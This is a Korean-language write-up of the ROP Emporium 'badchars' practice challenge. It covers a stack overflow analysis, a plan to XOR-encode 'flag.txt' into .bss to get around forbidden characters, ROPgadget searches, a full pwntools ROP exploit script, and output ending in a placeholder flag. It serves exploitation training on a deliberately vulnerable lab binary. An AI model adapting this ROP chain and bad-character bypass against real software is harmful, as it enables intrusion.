1. print_file( ) 함수를 이용해서 파일 내용을 출력할 수 있습니다.
2. badchars 문제가 존재합니다.
3. xor을 사용하여 badchars 문제를 해결할 수 있습니다.
4. 문자열을 변조하기 위해 가젯을 사용할 수 있습니다.
0x00007ffff7c00972 <+120>: lea rax,[rbp-0x40]
0x00007ffff7c00976 <+124>: add rax,0x20
0x00007ffff7c0097a <+128>: mov edx,0x200
0x00007ffff7c0097f <+133>: mov rsi,rax
0x00007ffff7c00982 <+136>: mov edi,0x0
0x00007ffff7c00987 <+141>: call 0x7ffff7c007c0 <read@plt> # read(0, rbp-0x20, 0x200)
badchars 문제
badchars are: 'x', 'g', 'a', '.'
badchars 문자를 사용할 수 없습니다.
해결책
badchars 문제는 xor 연산을 두번하면 원래 값으로 돌아온다는 성질을 이용하여 해결할 수 있습니다.
익스플로잇 계획
1. "flag.txt" 문자열을 xor 연산을 한 후 bss에 저장하여 badchars 문제를 우회합니다.
2. bss 영역에 저장된 값을 xor 연산해서 다시 "flag.txt"로 복원합니다.
3. "flag.txt"를 인자로 print_file 함수를 호출하여 flag를 출력합니다.
가젯 찾기
kali@kali ~/wargame/ROP/badchars ROPgadget --binary ./badchars --re "pop rdi"
Gadgets information
============================================================
0x00000000004006a3 : pop rdi ; ret
kali@kali ~/wargame/ROP/badchars ROPgadget --binary ./badchars --re "xor"
Gadgets information
============================================================
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
kali@kali ~/wargame/ROP/badchars ROPgadget --binary ./badchars --re "pop"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
✘ kali@kali ~/wargame/ROP/badchars ROPgadget --binary ./badchars --re "mov"
Gadgets information
============================================================
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
from pwn import *
p = process("./badchars")
e = ELF("./badchars")
#context.log_level = 'debug'
def xor(flag):
result = ""
for ch in flag:
result += chr(ord(ch) ^ 2)
return bytes(result, 'utf-8')
print_file = e.symbols['print_file']
bss = e.bss()
pop_rdi = 0x4006a3
xor_r15_r14 = 0x400628
pop_r14_r15 = 0x4006a0
mov_r13_r12 = 0x400634
pop_r12_r13_r14_r15 = 0x40069c
flag = xor("flag.txt")
print(flag)
payload = b'A' * 40
payload += p64(pop_r12_r13_r14_r15)
payload += flag + p64(bss) + p64(1) + p64(1)
payload += p64(mov_r13_r12)
for i in range(8):
payload += p64(pop_r14_r15)
payload += p64(2) + p64(bss + i)
payload += p64(xor_r15_r14)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)
p.sendline(payload)
p.interactive()
kali@kali ~/wargame/ROP/badchars python3 exploit.py
[+] Starting local process './badchars': pid 34228
[*] '/home/kali/wargame/ROP/badchars/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
b'dnce,vzv'
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive